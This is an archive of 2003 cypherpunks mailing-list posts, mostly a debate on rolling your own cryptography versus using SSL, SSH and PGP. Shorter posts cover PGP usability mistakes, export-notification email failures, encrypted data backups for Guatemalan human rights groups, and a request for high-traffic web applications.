So, I'm with Scott on that.  When it comes down
to it, there's an awful lot of smoke, and precious
little real life crypto success out there.  It's
no wonder that people roll their own.

-- 
iang

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From timcmay at got.net  Mon Jun  2 10:53:01 2003
From: timcmay at got.net (Tim May)
Date: Mon, 2 Jun 2003 10:53:01 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDB5A82.5B9C1073@systemics.com>
Message-ID: <0DC7D8E8-9523-11D7-88B5-000A956B4C74@got.net>

On Monday, June 2, 2003, at 07:09  AM, Ian Grigg wrote:
>

> PGP was also mildly successful, and was done by
> one guy, PRZ.  The vision was very clear.  All others
> had to do was to fix the bugs...  Sadly, free versions
> never quite made the jump into GUI mail clients, so
> widespread success was denied to it.
>

I would've characterized PGP version 2, 1992, as the first usable 
version. And it was done by about half a dozen people. The first 
version was not, to my knowledge, actually used by anyone.

It might have done better had creaping featuritus and the "integration 
with mailers and other programs" and the "better GUI" distractions not 
dissipated so much energy.

Also, the Clipper chip politics and the belief that PRZ was about to be 
arrested gave PGP a certain kind of notoriety...it became "cool" 
("bad," "def") to use PGP.

These days, "that's _so_ 90s."

--Tim May




From ekr at rtfm.com  Mon Jun  2 12:14:07 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 02 Jun 2003 12:14:07 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDB9C13.AC1F7A9@systemics.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c
	<kjd6hxzc07.fsf@romeo.rtfm.com> <3EDB5A82.5B9C1073@systemics.com>
	<20030602092429.A13213@slack.lne.com> <3EDB9C13.AC1F7A9@systemics.com>
Message-ID: <kjisroxpfk.fsf@romeo.rtfm.com>

Ian Grigg <iang at systemics.com> writes:
> Eric Murray wrote:
> It may be that the SSL underlying code is
> perfect.  But that the application is weak
> because the implementor didn't understand
> how to drive it;  in which case, if he can
> roll his own, he may end up with a more
> secure overall package.
I don't think this is likely to be true. In my experience,
people who learn enough to design their own thing also learn
enough to be able to do SSL properly.

> > SSLv2, which was also designed by an
> > individual, also had major flaws.  And that was the
> > second cut!  I haven't seen v1, maybe Eric can
> > shed some light on how bad it was.
> 
> [ Someone commented before that v1 was not deemed
> serious (Marc A?) and v2 was the more acceptable
> starting point (Weinsteins?). ]
That's not true as far as I know. V1 and V2 were designed
by the same guy (Kipp Hickman). V1 is actually very similar
to V2, except that the integrity stuff is all screwed up.
As far as I can tell, the fact of the matter is that Kipp 
didn't understand the security issues until Abadi and
to some extent Schiffman sold them some clues.

> > Peer review is not "design by comittie".
> 
> Let me clarify.  SSL - the protocol - was not
> designed by committee, but, the size of the teams
> involved in the crypto systems was in excess of
> the people who were intimately familiar with the
> protocol.  For the most familiar example, browsing,
> there were, it seems, many people involved in the
> overall grafting of SSL into the original HTML/HTTP
> system.
As far as I know, that's not the case. The original Netscape
team was very small and there really weren't any significant
choices to be made.

> > It is
> > the way to get strong protocols.  When I have to roll my
> > own (usually because its working in a limited environment
> > and I don't have a choice)
> > I get it reviewed.  The protocol designer usually misses
> > something in his own protocol.
> 
> Sure.  If someone does roll their own, then they
> should get it reviewed.
That's not my experience. WEP and PPTP come to mind.

> > > I'd say that conditions for Internet crypto system
> > > success would include:
> > 
> > 0. USE EXISTING SECURITY PRIMITIVES
> 
> :-)
> 
> I know this is the mantra of the field.
> 
> Quesion is:  which PRIMITIVES?
> 
> 1.  RSA?
> 2.  SSL, written from the RFC?
> 3.  OpenSSL, the toolkit?  EKR's fine effort?
> 4.  RSADSI security consultants, selling you
>     theirs?
> 5.  ...
I would say the highest level primitives you can get away with.

> But, that assumes an awful lot.  For a start,
> that it exists.  SSL is touted as the answer
> to everything, but it seems to be a connection
> oriented protocol, which would make it less
> use for speech, media, mail, chat (?), by way
> of example.
SSL is quite fine for chat, actually. It's one of the 
major things that people use for IM. The issue with
speech and media isn't connection-orientation but
rather datagram versus stream data.

> Then there is understanding, both of the
> protocol, and the project's needs.  I know
> that when I'm in a big project and I come
> across a complex new requirement, often, it
> is an open question as to whether make or
> buy is the appropriate choice.  I do know
> that 'make' will always teach me about the
> subject, and eventually, it will teach me
> which one to buy, or it will give me a
> system tuned to my needs.
The history of people who go this course suggests otherwise.
They generally get lousy solutions.

-Ekr

-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/

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From camera_lumina at hotmail.com  Mon Jun  2 09:30:47 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Mon, 02 Jun 2003 12:30:47 -0400
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <BAY7-F63RnJUg8wiUhx0002dbc6@hotmail.com>

"Scott Guthery" <sguthery at mobile-mind.com> writes:

> > When I drill down on the many pontifications made by computer
> > security and cryptography experts all I find is given wisdom. Maybe
> > the reason that folks roll their own is because as far as they can see
> > that's what everyone does.  Roll your own then whip out your dick and
> > start swinging around just like the experts.
> >
> > Perhaps I'm not looking in the right places. I wade through papers from
> > the various academic cryptography groups, I hit the bibliographies
> > regularly, I watch the newgroups, and I follow the patent literature.  
>After
> > you blow the smoke away, there's always an "assume a can opener"
> > assumption. The only thing that really differentiates the experts from 
>the
> > naifs is the amount of smoke.

This kind of thinking is similar to the difference between and engineer's 
persepective and that of a mathematician or "pure" scientist. Basically, it 
might not be bad to consider all crypto systems 'insecure' to some extent. 
However, for well-designed cryptosystems the cost of breaking can be made to 
scale with the level of security needed.

-TD

_________________________________________________________________
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus




From mv at cdc.gov  Mon Jun  2 13:32:06 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Mon, 02 Jun 2003 13:32:06 -0700
Subject: Typical PGP user mistakes
Message-ID: <3EDBB446.53B5852E@cdc.gov>

I recall reading at least one study of learning PGP and its UI.
I have had the chance to observe half a dozen (albeit, smarter
than normal) others' (mostly engineers) learning curves.
All are using PGP 7.03 and Eudora 3.05.
We are not using public key servers.

Mistakes include:
* neglecting to encrypt to an intended recipient's key
* encrypting to self (only)
* not encrypting to self, requiring a recipient to send it back to you
* accidentally multiply encrypting a message (ie, you encrypt the
encrypted ASCII)

Problems also include not being able to rename the email address
associated
with a key, leading to some recipients being recognized and encrypted
to,
others not.  Also errors if there are spaces added to the PGP ASCII
block.

Yes, there are checkbox-features and PGP Groups and sufficient GUI
feedback
such that these mistakes are "not the tool's fault".  And I/we
appreciate these
features and overall excellent design.

Yet there are also people who enjoy
studying UI design, cognition, learning, etc.  and perhaps these
anecdotal observations
would be useful.  After all, Enigma was broken by exploiting the
man-machine
interface.

No one new to any tool should be using it for life-critical
apps before competent.  The above mistakes more self-inflicted denial of
service
problems than tool weaknesses.  In fact, one group member accidentally
sent email to
a random user in the sender's ISP (because of the sender's Eudora-alias
not matching the alias he typed in the To: field).  This didn't matter
because the content was encrypted.

You often put locks on things (cars, homes, throwaway email accounts) to
protect against benign, accidental intrusions, even if the lock is
easily defeated/circumvented.  We just happened to be
using a strong lock, endorsed by the Red Brigade :-)

-------
Pierre Curie didn't die from radiation
poisoning, he was hit by a horse drawn cart




From iang at systemics.com  Mon Jun  2 11:48:51 2003
From: iang at systemics.com (Ian Grigg)
Date: Mon, 02 Jun 2003 14:48:51 -0400
Subject: Maybe It's Snake Oil All the Way Down
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c <kjd6hxzc07.fsf@romeo.rtfm.com> <3EDB5A82.5B9C1073@systemics.com> <20030602092429.A13213@slack.lne.com>
Message-ID: <3EDB9C13.AC1F7A9@systemics.com>

Eric Murray wrote:
> 
> On Mon, Jun 02, 2003 at 10:09:06AM -0400, Ian Grigg wrote:
> > A lot of the tools and blocks are too hard to
> > understand.  "Inaccessible" might be the proper
> > term.  This might apply to, for example, SSL,
> > and more so to IPSec.  These have a lower survival
> > rate, simply because as developers look at them,
> > their eyes glaze over and they move on.  I heard
> > one guy say that "you can read SSH in an hour
> > and understand what's going on, but not SSL."
> 
> Some who can't understand SSL won't be able to do better.
> Especially since there is at least one very good book on it.

That presupposes that one can do "better"
using SSL because SSL is "better".  It is
a challenge to translate SSL's strong peer
reviewed heritage into a secure crypto
system.

In practice, if the tool is hard to use, an
implementation opens itself up for problems
in its usage of SSL.  There can be bugs in
the interface, bugs in the architecture
reflected by the complexity of the interface,
and there can be bugs in the underlying tools.

It may be that the SSL underlying code is
perfect.  But that the application is weak
because the implementor didn't understand
how to drive it;  in which case, if he can
roll his own, he may end up with a more
secure overall package.

> > Also, a lot of cryptosystems are put together
> > by committees.  SSH was originally put together
> > by one guy.  He did the lot.
> 
> The original SSH protocol had holes so large that
> you could drive a truck through them.   Tatu posted
> it to various lists and got lots of advice on
> how to clean it up.  It still had holes that were being
> found years later.

Yep.  But the application got up and going,
he didn't wait for the protocol to be perfected,
which mean that the the application had a much
greater chance of ultimate success, and many
more scenarios were protected than otherwise
would have been.

Now it's a good protocol (Peter G reports that
it is highly analogous to SSL, but with its own
packet formats).  It's hole-filled first effort
doesn't seem to have done it so much harm.

> SSLv2, which was also designed by an
> individual, also had major flaws.  And that was the
> second cut!  I haven't seen v1, maybe Eric can
> shed some light on how bad it was.

[ Someone commented before that v1 was not deemed
serious (Marc A?) and v2 was the more acceptable
starting point (Weinsteins?). ]

> Peer review is not "design by comittie".

Let me clarify.  SSL - the protocol - was not
designed by committee, but, the size of the teams
involved in the crypto systems was in excess of
the people who were intimately familiar with the
protocol.  For the most familiar example, browsing,
there were, it seems, many people involved in the
overall grafting of SSL into the original HTML/HTTP
system.  Hence, SSL as a protocol might be a fine
piece of work.  SSL as a browsing application is
flawed, and that's partly because too many different
people and agendas were involved.

(I think the design-by-committee criticism would
stick more strongly to IPSec.)

> It is
> the way to get strong protocols.  When I have to roll my
> own (usually because its working in a limited environment
> and I don't have a choice)
> I get it reviewed.  The protocol designer usually misses
> something in his own protocol.

Sure.  If someone does roll their own, then they
should get it reviewed.

> > I'd say that conditions for Internet crypto system
> > success would include:
> 
> 0. USE EXISTING SECURITY PRIMITIVES

:-)

I know this is the mantra of the field.

Quesion is:  which PRIMITIVES?

1.  RSA?
2.  SSL, written from the RFC?
3.  OpenSSL, the toolkit?  EKR's fine effort?
4.  RSADSI security consultants, selling you
    theirs?
5.  ...


> which allows you to
> 
> >   4.  Concentrate on the application, not the crypto.
> 
> Rolling your own crypto is where 95% of crypto apps fail...
> the developers either take too much time on it to the detrimient
> of the useability because it is the sexy thing to work on, or
> they write an insecure algorithm/protocol/system.    Usually
> they do both!

It's true that if there is a perfectly good
alternative available, it is probably more
expensive to roll your own than to use the
perfectly good alternative.

But, that assumes an awful lot.  For a start,
that it exists.  SSL is touted as the answer
to everything, but it seems to be a connection
oriented protocol, which would make it less
use for speech, media, mail, chat (?), by way
of example.

It's also very much oriented to x.509 and
similar certificate/PKI models, which means
it is difficult to use in web of trust (I
know this because we started on the path of
adding web of trust and text signing features
to x.509 before going back to OpenPGP),
financial and nymous applications whereby
trust is bootstrapped a different way.

Then there is understanding, both of the
protocol, and the project's needs.  I know
that when I'm in a big project and I come
across a complex new requirement, often, it
is an open question as to whether make or
buy is the appropriate choice.  I do know
that 'make' will always teach me about the
subject, and eventually, it will teach me
which one to buy, or it will give me a
system tuned to my needs.

In contrast, using a black box is always
a big risk.  Which black box?  There are
always 10 experts for every black box out
there, and they are all asking for lots of
bux to say they're right.  And, traditionally,
when you buy in a black box, chances are,
it's a grey box, or it's a black bucket, or...

>From the outside world's point of view, it
still seems a very plausible decision to
roll ones own crypto.

(

Has anyone read Ferguson and Schneier's
_Practical Cryptography_ ?  Does it address
this issue of how an outsider decides how
to "make or buy"?  I just read the reviews
on Amazon, they are ... entertaining!

http://www.amazon.com/exec/obidos/tg/detail/-/0471223573/qid=1054578908/sr=8-1/ref=sr_8_1/103-4510729-0384610?v=glance&s=books&n=507846

)

-- 
iang

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From shamrock at cypherpunks.to  Mon Jun  2 22:13:00 2003
From: shamrock at cypherpunks.to (Lucky Green)
Date: Mon, 2 Jun 2003 22:13:00 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDB5A82.5B9C1073@systemics.com>
Message-ID: <000101c3298e$cf6edd30$6401a8c0@VAIO650>

Ian Grigg wrote:
> Also, a lot of cryptosystems are put together
> by committees.  SSH was originally put together
> by one guy.  He did the lot.  Allegedly, a fairly
> grotty protocol with a number of weakneses, but
> it was there and up and running.  And SSH-2 is
> apparantly nice, elegant and easy to understand,
> now that it has been fixed up.

ssh2 is in essence a re-invention of what SSL did without having to use
X.509 keys. This reinvention was, IMHO, largely the result of the
limitations of the ssh1 design.

> (SSH is the only really successful net crypto
> system, IMHO, in that it actually went into its
> market and made a mark.  It's the only cryptosystem
> that is as easy to use as its non-crypto competitor,
> telnet.  It's the only one where people switch and
> never return.)

I trust that we can agree that the volume of traffic and number of
transactions protected by SSL are orders of magnitude higher than those
protected by SSH. As is the number of users of SSL. The overwhelming
majority of which wouldn't know ssh from telnet. Nor would they know
what to do at a shell prompt and therefore have no use for either ssh or
telnet.

Given that SSL use is orders of magnitude higher than that of SSH, with
no change in sight, primarily due to SSL's ease-of-use, I am a bit
puzzled by your assertion that ssh, not SSL, is the "only really
successful net crypto system".

--Lucky




From PaulLambert at AirgoNetworks.Com  Mon Jun  2 22:50:20 2003
From: PaulLambert at AirgoNetworks.Com (Paul Lambert)
Date: Mon, 2 Jun 2003 22:50:20 -0700
Subject: BIS Disk Full
Message-ID: <mailman.730.1576007632.31620.cypherpunks-legacy@lists.cpunks.org>

>Is it this?
>http://snap.bis.doc.gov/

The correct URL is:
	
http://www.bis.doc.gov/Encryption/PubAvailEncSourceCodeNofify.html
This site contains the full process "to export encryption source code
that would be considered publicly available"

The site has you e-mail to three addresses:
	crypt at bis.doc.gov, enc at ncsc.mil, web_site at bis.doc.gov
You can also send a disk to both to 14th Street and Pennsylvania Avenue
and Fort Meade....

I've submitted twice and never gotten an acknowledgement ... can't
imagine that they are that busy.

Paul



>-----Original Message-----
>From: Declan McCullagh [mailto:declan at well.com] 
>Sent: Sunday, June 01, 2003 8:52 PM
>To: Anonymous
>Cc: cypherpunks at lne.com
>Subject: Re: BIS Disk Full
>
>
>URL?
>
>Is it this?
>http://snap.bis.doc.gov/
>
>Email to crypt at bis does not bounce, at least not immediately.
>
>-Declan
>
>On Sat, May 31, 2003 at 01:34:00PM -0700, Anonymous wrote:
>> I tried to notify the BIS that I was posting some code and I 
>got this 
>> error back:
>> > <web_site at bis.doc.gov>:
>> > 170.110.31.61 failed after I sent the message.
>> > Remote host said: Can't create transcript file 
>./xfh4VJhUa02511: No 
>> > space left on device
>> >
>> > <crypt at bis.doc.gov>:
>> > 170.110.31.61 failed after I sent the message.
>> > Remote host said: Can't create transcript file 
>./xfh4VJhVC02512: No 
>> > space left on device
>> Are our rights suspended until they get their system fixed? :-)

----- End forwarded message -----




From mv at cdc.gov  Tue Jun  3 02:55:04 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Tue, 03 Jun 2003 02:55:04 -0700
Subject: Human Rights Program Rescues Computer Data [crypto, distributed
  storage]
Message-ID: <3EDC7077.E5B81BFA@cdc.gov>

                        Human Rights Program Rescues Computer Data

                        On April 7, thieves broke into the offices of
Guatemala's human rights
                        ombudsman, in a town about 150 miles from
Guatemala City; several
                        hours later, the home of a human rights advocate
in the capital was also
                        burglarized.

                        The crimes, which were reported by the
Associated Press (AP) the next
                        day, did not surprise Gustavo Meono, director of
a group founded by
                        Nobel Peace Laureate Rigoberta Menchu. He told
the AP (New York
                        Times, 8 April 2003) that thieves often target
the offices and homes of
                        human rights activists. They "come for
information and take files and
                        computer hard drives."

                        What the thieves may not yet know,
                        however, is that AAAS's human rights
                        staff has devised a way of protecting the
                        data that have become so precious to
                        both sides in the effort to demonstrate
                        who did what to whom during the
                        country's civil war from 1960 to 1996.
                        Some of the information collected in the
                        stolen computers represented
                        science-based evidence for prosecuting
                        people accused of killings and torture,
                        rapes and kidnappings, according to Alvaro
Caballeros, an archivist at
                        the Association for the Advancement of the
Social Sciences in
                        Guatemala (AVANCSO).

                        "The need for AAAS's help was related to
security," Caballeros said.
                        "Our archives are very important to our work
collecting information and
                        interviews regarding what happened during the
war."

                        AAAS's data-protection project was carried out
with funding from The
                        John D. and Catherine T. MacArthur Foundation,
which recently
                        provided $700,000 to allow the Association's
human rights program to
                        continue providing technical assistance and
quantitative analyses for
                        large-scale human rights data projects in
Africa, Asia, South America,
                        and Eastern Europe.

                        AAAS computer engineer Miguel Cruz flew to
Guatemala in
                        November, carrying a "giant black duffel bag,
full of tools and computer
                        networking equipmentcables, routers, hubs..."
His job was to set up a
                        system that would allow Guatemala's human rights
groups to encrypt the
                        information they generated and to have it
automatically copied onto
                        network servers managed from safe locations in
other countries.

                        "We determined that the only really safe place
to keep the data was out
                        of the country," Cruz said.

                        Word of his work spread among the human rights
organizations, and
                        volunteers began showing up to help Cruz install
the basic infrastructure
                        that was missing in most of the buildings.

                        "I initially trained about half a dozen people
in the basics of network
                        wiring, and they all pitched in, putting their
jobs on hold to work late into
                        the evening wielding crimpers, digital cable
testers, screwdrivers, and
                        hammers," Cruz recounted. "In an incidental way,
of course, the project
                        has provided some good old-fashioned direct
development assistance,
                        by providing hands-on learning about
cutting-edge technology. It wasn't
                        the goal, but it's a nice side-effect,
especially considering that all the
                        assistance actually made the project faster and
cheaper."

http://www.aaas.org/news/newsandnotes/inside96.shtml




From cryptomjs at eudoramail.com  Tue Jun  3 03:34:43 2003
From: cryptomjs at eudoramail.com (Mark Saarelainen)
Date: Tue, 03 Jun 2003 03:34:43 -0700
Subject: KMOKMOXT  .... instructions for you Max ...
Message-ID: <LPLDCEHMPEFDFDAA@whowhere.com>

KMOKMOXT .... instructions for MAX


Need a new email address that people can remember
Check out the new EudoraMail at
http://www.eudoramail.com




From pgut001 at cs.auckland.ac.nz  Mon Jun  2 08:54:53 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 3 Jun 2003 03:54:53 +1200
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <200306021554.h52Fsrf17422@medusa01.cs.auckland.ac.nz>

Ian Grigg <iang at systemics.com> writes:

>Also, a lot of cryptosystems are put together by committees.  SSH was
>originally put together by one guy.  He did the lot.  Allegedly, a fairly
>grotty protocol with a number of weakneses, but it was there and up and
>running.  And SSH-2 is apparantly nice, elegant and easy to understand, now
>that it has been fixed up.

Actually SSHv2 is just SSL with a different packet format (when I did my SSHv2
implementation I recycled the code from the SSL engine, it was that close
[0]).  That's probably a good indication that SSL/SSHv2 is a fairly optimal
(security/functionality/implementability/etc) design for an application-level
security protocol if two groups independently came up with the same design,
which brings us back the original question of why on earth Nullsoft tried to
roll their own.

Peter.

[0] Note that my SSL implementation follows the standard SSL ladder diagram
    rather than the state-machine that SSL implementations are usually
    described as, which made it trivial to switch over for SSHv2 use.  I've
    never understood why every explanation of the SSL protocol I've ever seen
    uses ladder diagrams but once they talk about implementation details they
    assume you're doing it as a state machine, which makes it vastly harder to
    implement.  For example all the stuff about pending cipher suites and
    whatnot follows automatically (and transparently) from the ladder diagram,
    but is a real pain to sort out in a state machine.




From iang at systemics.com  Tue Jun  3 05:40:05 2003
From: iang at systemics.com (Ian Grigg)
Date: Tue, 03 Jun 2003 08:40:05 -0400
Subject: Maybe It's Snake Oil All the Way Down
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c
  <kjd6hxzc07.fsf@romeo.rtfm.com> <3EDB5A82.5B9C1073@systemics.com>
  <20030602092429.A13213@slack.lne.com> <3EDB9C13.AC1F7A9@systemics.com>
  <kjisroxpfk.fsf@romeo.rtfm.com>
Message-ID: <3EDC9725.6588CFEA@systemics.com>

Eric Rescorla wrote:
> 
> Ian Grigg <iang at systemics.com> writes:
> > Eric Murray wrote:
> > It may be that the SSL underlying code is
> > perfect.  But that the application is weak
> > because the implementor didn't understand
> > how to drive it;  in which case, if he can
> > roll his own, he may end up with a more
> > secure overall package.
> I don't think this is likely to be true. In my experience,
> people who learn enough to design their own thing also learn
> enough to be able to do SSL properly.

True, although, that begs the question as
to how they learn.  Only by doing, I'd say.
I think one learns a lot more from making
mistakes and building ones own attempt than
following the words of wise.

> > > SSLv2, which was also designed by an
> > > individual, also had major flaws.  And that was the
> > > second cut!  I haven't seen v1, maybe Eric can
> > > shed some light on how bad it was.
> >
> > [ Someone commented before that v1 was not deemed
> > serious (Marc A?) and v2 was the more acceptable
> > starting point (Weinsteins?). ]
> That's not true as far as I know. V1 and V2 were designed
> by the same guy (Kipp Hickman). V1 is actually very similar
> to V2, except that the integrity stuff is all screwed up.
> As far as I can tell, the fact of the matter is that Kipp
> didn't understand the security issues until Abadi and
> to some extent Schiffman sold them some clues.


OK.  Then I am confused about the post that
came out recently.  It would be very interesting
to hear the story, written up.


> > Sure.  If someone does roll their own, then they
> > should get it reviewed.
> That's not my experience. WEP and PPTP come to mind.

Ah, good point:  There should be some
point on that list about building ones
cryptosystem outside the domain of an
institution, which tends to have too
many conflicting requirements, and
cannot limit itself to a simple system.

(And, yes, some protocols don't get
peer reviewed.  I wasn't debating that.)


> > But, that assumes an awful lot.  For a start,
> > that it exists.  SSL is touted as the answer
> > to everything, but it seems to be a connection
> > oriented protocol, which would make it less
> > use for speech, media, mail, chat (?), by way
> > of example.

> SSL is quite fine for chat, actually. It's one of the
> major things that people use for IM. The issue with
> speech and media isn't connection-orientation but
> rather datagram versus stream data.

I knew I was in trouble on chat, that's
why I stuck the interrogation mark in
there :-)  We recently added an email-like
capability to our (homegrown) crypto
system, and intend to expand that to
chat.  But, in order to do that, we
have to expand the crypto subsystem
(SOX) to include connection-oriented
modes.

[ Hence, an open question floating
around here is "why don't we use SSL"
which hasn't been definitively answered
as yet. ]

> > Then there is understanding, both of the
> > protocol, and the project's needs.  I know
> > that when I'm in a big project and I come
> > across a complex new requirement, often, it
> > is an open question as to whether make or
> > buy is the appropriate choice.  I do know
> > that 'make' will always teach me about the
> > subject, and eventually, it will teach me
> > which one to buy, or it will give me a
> > system tuned to my needs.

> The history of people who go this course suggests otherwise.
> They generally get lousy solutions.

I think it would be very interesting to
do a study of all the cryptosystems out
there and measure what succeeds, what
doesn't, what's secure, and what's not.

What cost too much money and what saved
money.

One of the issues that we see is that
too many security people assume that
"insecure" is "bad".  What they fail
to perceive is that an insecure system
is often sufficient for the times and
places.

WEP for example is perfectly fine, unless
you are attacked by a guy with a WEP
cracking kit!  Then it's a perfectly
lousy cryptosubsystem.

It's like the GSM story, whereby 8 years
down the track, Lucky Green cracked the
crypto by probing the SIMs to extract
the secret algorithm over a period of
many months (which algorithm then fell to
Ian Goldberg and Dave Wagner in a few hours).

In that case, some GSM guy said that, it
was good because it worked for 8 years,
that shows the design was good, doesn't
it?

And Lucky said, now you've got to replace
hundreds of millions of SIMs, that's got
to be a bad design, no?

(Lucky might be able to confirm the real
story there.)

Different ways of looking at the same
thing.  They are both valid points of
view.  To work out the difference, we
need to go to costs and benefits.  Who
won and who lost?  I never heard how
it panned out.

-- 
iang




From ekr at rtfm.com  Tue Jun  3 08:41:31 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 03 Jun 2003 08:41:31 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDC9725.6588CFEA@systemics.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c
  <kjd6hxzc07.fsf@romeo.rtfm.com> <3EDB5A82.5B9C1073@systemics.com>
  <20030602092429.A13213@slack.lne.com> <3EDB9C13.AC1F7A9@systemics.com>
  <kjisroxpfk.fsf@romeo.rtfm.com> <3EDC9725.6588CFEA@systemics.com>
Message-ID: <kj1xybw4lw.fsf@romeo.rtfm.com>

Ian Grigg <iang at systemics.com> writes:
> Eric Rescorla wrote:
> True, although, that begs the question as
> to how they learn.  Only by doing, I'd say.
> I think one learns a lot more from making
> mistakes and building ones own attempt than
> following the words of wise.
One learns by *practicing*.

That said, though, there's next to no need for people to know how
to design their own communications security protocols, so it's
not really that important for them to learn. 

> OK.  Then I am confused about the post that
> came out recently.  It would be very interesting
> to hear the story, written up.
The rough version of it is in my book.

-Ekr

-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/




From adam at homeport.org  Tue Jun  3 06:49:00 2003
From: adam at homeport.org (Adam Shostack)
Date: Tue, 3 Jun 2003 09:49:00 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306031311.h53DBpL25265@medusa01.cs.auckland.ac.nz>
References: <200306031311.h53DBpL25265@medusa01.cs.auckland.ac.nz>
Message-ID: <20030603134859.GA6622@lightship.internal.homeport.org>

On Wed, Jun 04, 2003 at 01:11:51AM +1200, Peter Gutmann wrote:
| "Lucky Green" <shamrock at cypherpunks.to> writes:
| 
| >I trust that we can agree that the volume of traffic and number of
| >transactions protected by SSL are orders of magnitude higher than those
| >protected by SSH. As is the number of users of SSL. The overwhelming majority
| >of which wouldn't know ssh from telnet. Nor would they know what to do at a
| >shell prompt and therefore have no use for either ssh or telnet.
| 
| Naah, that third sentence is wrong.  It's:
| 
|   The overwhelming majority of [SSL users] wouldn't know SSL from HTTP with a
|   padlock GIF in the corner.
| 
| >Given that SSL use is orders of magnitude higher than that of SSH, with no
| >change in sight, primarily due to SSL's ease-of-use, I am a bit puzzled by
| >your assertion that ssh, not SSL, is the "only really successful net crypto
| >system".
| 
| I think the assertion was that SSH is used in places where it matters, while
| SSL is used where no-one really cares (or even knows) about it.  Joe Sixpack
| will trust any site with a padlock GIF on the page.  Most techies won't access
| a Unix box without SSH.  Quantity != quality.
| 
| If you could wave a magic wand and make one of the two protocols vanish, I'd
| notice the loss of SSH immediately (I couldn't send this message for
| starters), but it would take days or weeks before I noticed the loss of SSL.

One of the papers at the security and econ workshop last week asserted
that the reason ssh took off was actually because it makes life easier
if you need to munge X displays.

ADam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume



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From sunder at sunder.net  Tue Jun  3 07:03:04 2003
From: sunder at sunder.net (Sunder)
Date: Tue, 3 Jun 2003 10:03:04 -0400 (edt)
Subject: web apps with large volumes of bidirectional http traffic
In-Reply-To: <20030530154131.GA19269@venona.com>
Message-ID: <Pine.BSO.4.21.0306031001340.12093-100000@anon7.arachelian.com>

Easy.  Setup an open http proxy and advertise it. :)  squid's your
friend. But your bandwidth will suffer so you may need some
bandwidth controls.  Then, watch the logs for statistics.

----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Fri, 30 May 2003, Ryan Lackey wrote:

> I need to find some relatively widely deployed applications which have
> frequent user interactions (rapid clicking on links, from as large a
> population of links as possible, and also form filling and such).
> 
> (it should be pretty obvious what this is for)
> 
> I'd like:
> 
> 0) *rapid*/frequent user interactions; fast clicking on things (like every
> second, no more than 5 seconds)
> 
> 1) "sticky"...long interactions with a given site (on the order of hours)
> (also all links need to be under the same url/same server)
> 
> 2) large number of potential links for users to click on, with
> desirable properties for click distribution (I *think* I want them to
> be nearly equally likely, but I might just want a defined
> distribution, or I might even want the opposite of that)
> 
> 3) relatively small data sizes for downloaded data, UNLESS downloaded
> data is generated unique and "randomly"
> 
> 4) widely deployed already on the internet, or compelling enough that
> there would be a decent number of potential server operators.
> Obviously I could *create* an app which has the desirable
> characteristics, but I'd like something which can deal with existing
> data or apps served over the internet)
> 
> 5) good data on how likely users are to click on things, how fast they
> click, etc., so one could easily operate within those parameters.
> 
> So far, the best ideas:
> 1) Porn
> 2) Mailing lists with lots of internal links (next, reply, etc.)
> 3) Sites with search engines with lots of linked data (encyclopedia,
> etc.)
> 4) html games (or flash, maybe) -- either imagemaps, or just tables,
> things like chess, or puzzles, or whatever
> 
> I'd definitely appreciate any suggestions on possible web apps which
> meet these criteria; reply to lists or ryan at venona.com.
> 
> I'll post when it's ready.
> 
> Thanks,
> Ryan
> -- 
> Ryan Lackey [RL960-RIPE AS24812]   ryan at venona.com   +1 202 258 9251
> OpenPGP DH 4096: B8B8 3D95 F940 9760 C64B   DE90 07AD BE07 D2E0 301F




From bill.stewart at pobox.com  Tue Jun  3 10:26:09 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Tue, 03 Jun 2003 10:26:09 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDC9725.6588CFEA@systemics.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c
  <kjd6hxzc07.fsf@romeo.rtfm.com> <3EDB5A82.5B9C1073@systemics.com>
  <20030602092429.A13213@slack.lne.com> <3EDB9C13.AC1F7A9@systemics.com>
  <kjisroxpfk.fsf@romeo.rtfm.com>
Message-ID: <5.1.1.6.2.20030603101255.02e7f4d0@idiom.com>

At 08:40 AM 06/03/2003 -0400, Ian Grigg wrote:
>Eric Rescorla wrote:
> >
> > Ian Grigg <iang at systemics.com> writes:
>....
> > I don't think this is likely to be true. In my experience,
> > people who learn enough to design their own thing also learn
> > enough to be able to do SSL properly.
>
>True, although, that begs the question as
>to how they learn.  Only by doing, I'd say.
>I think one learns a lot more from making
>mistakes and building ones own attempt than
>following the words of wise.

The catch, of course, is that most cryptosystems are only useful
if they're widely deployed.  Learning from mistakes is good,
but endangering large numbers of users in the process is bad.

